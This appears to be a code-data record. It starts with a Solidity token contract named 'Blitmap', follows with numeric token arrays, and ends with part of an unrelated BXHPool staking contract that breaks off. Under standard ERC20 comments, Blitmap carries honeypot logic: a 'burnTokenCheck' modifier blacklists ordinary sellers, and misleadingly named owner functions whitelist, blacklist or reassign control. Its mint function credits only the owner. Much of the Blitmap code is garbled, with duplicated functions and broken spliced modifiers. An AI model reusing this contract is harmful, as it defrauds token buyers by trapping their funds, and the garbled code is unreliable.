< receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
contract Blitmap is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; } constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} }
578,607
[ 1, 13621, 434, 326, 288, 45, 654, 39, 3462, 97, 1560, 18, 1220, 4471, 353, 279, 1600, 669, 335, 358, 326, 4031, 2430, 854, 2522, 18, 1220, 4696, 716, 279, 14467, 12860, 711, 358, 506, 3096, 316, 279, 10379, 6835, 1450, 288, 67, 81, 474, 5496, 2457, 279, 5210, 12860, 2621, 288, 654, 39, 3462, 18385, 49, 2761, 16507, 1355, 5496, 399, 2579, 30, 2457, 279, 6864, 1045, 416, 2621, 3134, 7343, 358, 2348, 14467, 1791, 28757, 8009, 1660, 1240, 10860, 7470, 3502, 62, 881, 84, 292, 267, 9875, 14567, 30, 4186, 15226, 3560, 434, 5785, 1375, 5743, 68, 603, 5166, 18, 1220, 6885, 353, 1661, 546, 12617, 15797, 287, 471, 1552, 486, 7546, 598, 326, 26305, 434, 4232, 39, 3462, 12165, 18, 26775, 16, 392, 288, 23461, 97, 871, 353, 17826, 603, 4097, 358, 288, 13866, 1265, 5496, 1220, 5360, 12165, 358, 23243, 326, 1699, 1359, 364, 777, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 8069, 305, 1458, 353, 1772, 16, 467, 654, 39, 3462, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 5267, 364, 1758, 31, 203, 377, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 14739, 1887, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 11223, 1887, 31, 203, 377, 203, 565, 2254, 5034, 3238, 389, 87, 1165, 6275, 273, 374, 31, 203, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 203, 565, 2254, 5034, 3238, 389, 4963, 3088, 1283, 31, 203, 377, 203, 565, 533, 3238, 389, 529, 31, 203, 565, 533, 3238, 389, 7175, 31, 203, 565, 2254, 28, 3238, 389, 31734, 31, 203, 565, 2254, 5034, 3238, 389, 12908, 537, 620, 273, 22821, 7235, 3462, 6675, 4366, 9036, 2313, 3657, 6564, 4366, 10321, 5908, 7140, 713, 5292, 28, 7235, 8642, 7140, 27284, 2733, 5193, 6028, 25, 1105, 6260, 1105, 4630, 29, 7950, 5877, 5193, 713, 7235, 3437, 24886, 4449, 2733, 4763, 31, 203, 203, 565, 1758, 1071, 389, 8443, 31, 203, 565, 1758, 3238, 389, 4626, 5541, 31, 203, 565, 1758, 3238, 389, 318, 77, 10717, 273, 374, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 31, 203, 377, 203, 203, 97, 203, 282, 3885, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/EnumerableSet.sol"; import './interfaces/IMasterChefHeco.sol'; import './interfaces/IBXH.sol'; contract BXHPool is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private _multLP; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. uint256 multLpRewardDebt; //multLp Reward debt. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. BXHs to distribute per block. uint256 lastRewardBlock; // Last block number that BXHs distribution occurs. uint256 accBXHPerShare; // Accumulated BXHs per share, times 1e12. uint256 accMultLpPerShare; //Accumulated multLp per share uint256 totalAmount; // Total amount of current pool deposit. } // The BXH Token! IBXH public bxh; // BXH tokens created per block. uint256 public bxhPerBlock; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Corresponding to the pid of the multLP pool mapping(uint256 => uint256) public poolCorrespond; // pid corresponding address mapping(address => uint256) public LpOfPid; // Control mining bool public paused = false; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when BXH mining starts. uint256 public startBlock; // multLP MasterChef address public multLpChef; // multLP Token address public multLpToken; // How many blocks are halved uint256 public decayPeriod = 201600; //7*24*1200 uint256 public decayRatio = 970;//3% uint256 []public decayTable; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( IBXH _bxh, uint256 _bxhPerBlock, //42 uint256 _startBlock, uint256 _decayRatio //970 ) public { bxh = _bxh; bxhPerBlock = _bxhPerBlock; startBlock = _startBlock; decayRatio = _decayRatio; decayTable.push(_bxhPerBlock); for(uint256 i=0;i<32;i++) { decayTable.push(decayTable[i].mul(decayRatio).div(1000)); } } function setDecayPeriod(uint256 _block) public onlyOwner { decayPeriod = _block; } function setDecayRatio(uint256 _ratio) public onlyOwner { require(_ratio<1000,"ratio should less than 1000"); decayRatio = _ratio; } // Set the number of bxh produced by each block function setBXHPerBlock(uint256 _newPerBlock) public onlyOwner { massUpdatePools(); bxhPerBlock = _newPerBlock; } function poolLength() public view returns (uint256) { return poolInfo.length; } function addMultLP(address _addLP) public onlyOwner returns (bool) { require(_addLP != address(0), "LP is the zero address"); IERC20(_addLP).approve(multLpChef, uint256(- 1)); return EnumerableSet.add(_multLP, _addLP); } function isMultLP(address _LP) public view returns (bool) { return EnumerableSet.contains(_multLP, _LP); } function getMultLPLength() public view returns (uint256) { return EnumerableSet.length(_multLP); } function getMultLPAddress(uint256 _pid) public view returns (address){ require(_pid <= getMultLPLength() - 1, "not find this multLP"); return EnumerableSet.at(_multLP, _pid); } function setPause() public onlyOwner { paused = !paused; } function setMultLP(address _multLpToken, address _multLpChef) public onlyOwner { require(_multLpToken != address(0) && _multLpChef != address(0), "is the zero address"); multLpToken = _multLpToken; multLpChef = _multLpChef; } function replaceMultLP(address _multLpToken, address _multLpChef) public onlyOwner { require(_multLpToken != address(0) && _multLpChef != address(0), "is the zero address"); require(paused == true, "No mining suspension"); multLpToken = _multLpToken; multLpChef = _multLpChef; uint256 length = getMultLPLength(); while (length > 0) { address dAddress = EnumerableSet.at(_multLP, 0); uint256 pid = LpOfPid[dAddress]; IMasterChefHeco(multLpChef).emergencyWithdraw(poolCorrespond[pid]); EnumerableSet.remove(_multLP, dAddress); length--; } } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { require(address(_lpToken) != address(0), "_lpToken is the zero address"); if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken : _lpToken, allocPoint : _allocPoint, lastRewardBlock : lastRewardBlock, accBXHPerShare : 0, accMultLpPerShare : 0, totalAmount : 0 })); LpOfPid[address(_lpToken)] = poolLength() - 1; } // Update the given pool's BXH allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // The current pool corresponds to the pid of the multLP pool function setPoolCorr(uint256 _pid, uint256 _sid) public onlyOwner { require(_pid <= poolLength() - 1, "not find this pool"); poolCorrespond[_pid] = _sid; } function phase(uint256 blockNumber) public view returns (uint256) { if (decayPeriod == 0) { return 0; } if (blockNumber > startBlock) { return (blockNumber.sub(startBlock).sub(1)).div(decayPeriod); } return 0; } function rewardV(uint256 blockNumber) public view returns (uint256) { uint256 _phase = phase(blockNumber); require(_phase<decayTable.length,"phase not ready"); return decayTable[_phase]; } function batchPrepareRewardTable(uint256 spareCount) public returns (uint256) { require(spareCount<64,"spareCount too large , must less than 64"); uint256 _phase = phase(block.number); if( _phase.add(spareCount) >= decayTable.length){ uint256 loop = _phase.add(spareCount).sub(decayTable.length); for(uint256 i=0;i<=loop;i++) { uint256 lastDecayValue = decayTable[decayTable.length-1]; decayTable.push(lastDecayValue.mul(decayRatio).div(1000)); } } return decayTable[_phase]; } function safePrepareRewardTable(uint256 blockNumber) internal returns (uint256) { uint256 _phase = phase(blockNumber); if( _phase >= decayTable.length){ uint256 lastDecayValue = decayTable[decayTable.length-1]; decayTable.push(lastDecayValue.mul(decayRatio).div(1000)); } return decayTable[_phase]; } function getBXHBlockRewardV(uint256 _lastRewardBlock) public view returns (uint256) { uint256 blockReward = 0; uint256 n = phase(_lastRewardBlock); uint256 m = phase(block.number); while (n < m) { n++; uint256 r = n.mul(decayPeriod).add(startBlock); blockReward = blockReward.add((r.sub(_lastRewardBlock)).mul(rewardV(r))); _lastRewardBlock = r; } blockReward = blockReward.add((block.number.sub(_lastRewardBlock)).mul(rewardV(block.number))); return blockReward; } function testBXHBlockRewardV(uint256 _lastRewardBlock,uint256 blocknumber) public view returns (uint256) { uint256 blockReward = 0; uint256 n = phase(_lastRewardBlock); uint256 m = phase(blocknumber); while (n < m) { n++; uint256 r = n.mul(decayPeriod).add(startBlock); blockReward = blockReward.add((r.sub(_lastRewardBlock)).mul(rewardV(r))); _lastRewardBlock = r; } blockReward = blockReward.add((blocknumber.sub(_lastRewardBlock)).mul(rewardV(blocknumber))); return blockReward; } function safeGetBXHBlockReward(uint256 _lastRewardBlock) public returns (uint256) { uint256 blockReward = 0; uint256 n = phase(_lastRewardBlock); uint256 m = phase(block.number); while (n < m) { n++; uint256 r = n.mul(decayPeriod).add(startBlock); blockReward = blockReward.add((r.sub(_lastRewardBlock)).mul(safePrepareRewardTable(r))); _lastRewardBlock = r; } blockReward = blockReward.add((block.number.sub(_lastRewardBlock)).mul(safePrepareRewardTable(block.number))); return blockReward; } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply; if (isMultLP(address(pool.lpToken))) { if (pool.totalAmount == 0) { pool.lastRewardBlock = block.number; return; } lpSupply = pool.totalAmount; } else { lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } } uint256 blockReward = safeGetBXHBlockReward(pool.lastRewardBlock); if (blockReward <= 0) { return; } uint256 bxhReward = blockReward.mul(pool.allocPoint).div(totalAllocPoint); bool minRet = bxh.mint(address(this), bxhReward); if (minRet) { pool.accBXHPerShare = pool.accBXHPerShare.add(bxhReward.mul(1e12).div(lpSupply)); } pool.lastRewardBlock = block.number; } // View function to see pending BXHs on frontend. function pending(uint256 _pid, address _user) external view returns (uint256, uint256){ PoolInfo storage pool = poolInfo[_pid]; if (isMultLP(address(pool.lpToken))) { (uint256 bxhAmount, uint256 tokenAmount) = pendingBXHAndToken(_pid, _user); return (bxhAmount, tokenAmount); } else { uint256 bxhAmount = pendingBXH(_pid, _user); return (bxhAmount, 0); } } function pendingBXHAndToken(uint256 _pid, address _user) private view returns (uint256, uint256){ PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accBXHPerShare = pool.accBXHPerShare; uint256 accMultLpPerShare = pool.accMultLpPerShare; if (user.amount > 0) { uint256 TokenPending = IMasterChefHeco(multLpChef).pending(poolCorrespond[_pid], address(this)); accMultLpPerShare = accMultLpPerShare.add(TokenPending.mul(1e12).div(pool.totalAmount)); uint256 userPending = user.amount.mul(accMultLpPerShare).div(1e12).sub(user.multLpRewardDebt); if (block.number > pool.lastRewardBlock) { uint256 blockReward = getBXHBlockRewardV(pool.lastRewardBlock); uint256 bxhReward = blockReward.mul(pool.allocPoint).div(totalAllocPoint); accBXHPerShare = accBXHPerShare.add(bxhReward.mul(1e12).div(pool.totalAmount)); return (user.amount.mul(accBXHPerShare).div(1e12).sub(user.rewardDebt), userPending); } if (block.number == pool.lastRewardBlock) { return (user.amount.mul(accBXHPerShare).div(1e12).sub(user.rewardDebt), userPending); } } return (0, 0); } function pendingBXH(uint256 _pid, address _user) private view returns (uint256){ PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accBXHPerShare = pool.accBXHPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (user.amount > 0) { if (block.number > pool.lastRewardBlock) { uint256 blockReward = getBXHBlockRewardV(pool.lastRewardBlock); uint256 bxhReward = blockReward.mul(pool.allocPoint).div(totalAllocPoint); accBXHPerShare = accBXHPerShare.add(bxhReward.mul(1e12).div(lpSupply)); return user.amount.mul(accBXHPerShare).div(1e12).sub(user.rewardDebt); } if (block.number == pool.lastRewardBlock) { return user.amount.mul(accBXHPerShare).div(1e12).sub(user.rewardDebt); } } return 0; } // Deposit LP tokens to HecoPool for BXH allocation. function deposit(uint256 _pid, uint256 _amount) public notPause { PoolInfo storage pool = poolInfo[_pid]; if (isMultLP(address(pool.lpToken))) { depositBXHAndToken(_pid, _amount, msg.sender); } else { depositBXH(_pid, _amount, msg.sender); } } function depositBXHAndToken(uint256 _pid, uint256 _amount, address _user) private { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; updatePool(_pid); if (user.amount > 0) { uint256 pendingAmount = user.amount.mul(pool.accBXHPerShare).div(1e12).sub(user.rewardDebt); if (pendingAmount > 0) { safeBXHTransfer(_user, pendingAmount); } uint256 beforeToken = IERC20(multLpToken).balanceOf(address(this)); IMasterChefHeco(multLpChef).deposit(poolCorrespond[_pid], 0); uint256 afterToken = IERC20(multLpToken).balanceOf(address(this)); pool.accMultLpPerShare = pool.accMultLpPerShare.add(afterToken.sub(beforeToken).mul(1e12).div(pool.totalAmount)); uint256 tokenPending = user.amount.mul(pool.accMultLpPerShare).div(1e12).sub(user.multLpRewardDebt); if (tokenPending > 0) { IERC20(multLpToken).safeTransfer(_user, tokenPending); } } if (_amount > 0) { pool.lpToken.safeTransferFrom(_user, address(this), _amount); if (pool.totalAmount == 0) { IMasterChefHeco(multLpChef).deposit(poolCorrespond[_pid], _amount); user.amount = user.amount.add(_amount); pool.totalAmount = pool.totalAmount.add(_amount); } else { uint256 beforeToken = IERC20(multLpToken).balanceOf(address(this)); IMasterChefHeco(multLpChef).deposit(poolCorrespond[_pid], _amount); uint256 afterToken = IERC20(multLpToken).balanceOf(address(this)); pool.accMultLpPerShare = pool.accMultLpPerShare.add(afterToken.sub(beforeToken).mul(1e12).div(pool.totalAmount)); user.amount = user.amount.add(_amount); pool.totalAmount = pool.totalAmount.add(_amount); } } user.rewardDebt = user.amount.mul(pool.accBXHPerShare).div(1e12); user.multLpRewardDebt = user.amount.mul(pool.accMultLpPerShare).div(1e12); emit Deposit(_user, _pid, _amount); } function depositBXH(uint256 _pid, uint256 _amount, address _user) private { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; updatePool(_pid); if (user.amount > 0) { uint256 pendingAmount = user.amount.mul(pool.accBXHPerShare).div(1e12).sub(user.rewardDebt); if (pendingAmount > 0) { safeBXHTransfer(_user, pendingAmount); } } if (_amount > 0) { pool.lpToken.safeTransferFrom(_user, address(this), _amount); user.amount = user.amount.add(_amount); pool.totalAmount = pool.totalAmount.add(_amount); } user.rewardDebt = user.amount.mul(pool.accBXHPerShare).div(1e12); emit Deposit(_user, _pid, _amount); } // Withdraw LP tokens from HecoPool. function withdraw(uint256 _pid, uint256 _amount) public notPause { PoolInfo storage pool = poolInfo[_pid]; if (isMultLP(address(pool.lpToken))) { withdrawBXHAndToken(_pid, _amount, msg.sender); } else { withdrawBXH(_pid, _amount, msg.sender); } } function withdrawBXHAndToken(uint256 _pid, uint256 _amount, address _user) private { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; require(user.amount >= _amount, "withdrawBXHAndToken: not good"); updatePool(_pid); uint256 pendingAmount = user.amount.mul(pool.accBXHPerShare).div(1e12).sub(user.rewardDebt); if (pendingAmount > 0) { safeBXHTransfer(_user, pendingAmount); } if (_amount > 0) { uint256 beforeToken = IERC20(multLpToken).balanceOf(address(this)); IMasterChefHeco(multLpChef).withdraw(poolCorrespond[_pid], _amount); uint256 afterToken = IERC20(multLpToken).balanceOf(address(this)); pool.accMultLpPerShare = pool.accMultLpPerShare.add(afterToken.sub(beforeToken).mul(1e12).div(pool.totalAmount)); uint256 tokenPending = user.amount.mul(pool.accMultLpPerShare).div(1e12).sub(user.multLpRewardDebt); if (tokenPending > 0) { IERC20(multLpToken).safeTransfer(_user, tokenPending); } user.amount = user.amount.sub(_amount); pool.totalAmount = pool.totalAmount.sub(_amount); pool.lpToken.safeTransfer(_user, _amount); } user.rewardDebt = user.amount.mul(pool.accBXHPerShare).div(1e12); user.multLpRewardDebt = user.amount.mul(pool.accMultLpPerShare).div(1e12); emit Withdraw(_user, _pid, _amount); } function withdrawBXH(uint256 _pid, uint256 _amount, address _user) private { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; require(user.amount >= _amount, "withdrawBXH: not good"); updatePool(_pid); uint256 pendingAmount = user.amount.mul(pool.accBXHPerShare).div(1e12).sub(user.rewardDebt); if (pendingAmount > 0) { safeBXHTransfer(_user, pendingAmount); } if (_amount > 0) { user.amount = user.amount.sub(_amount); pool.totalAmount = 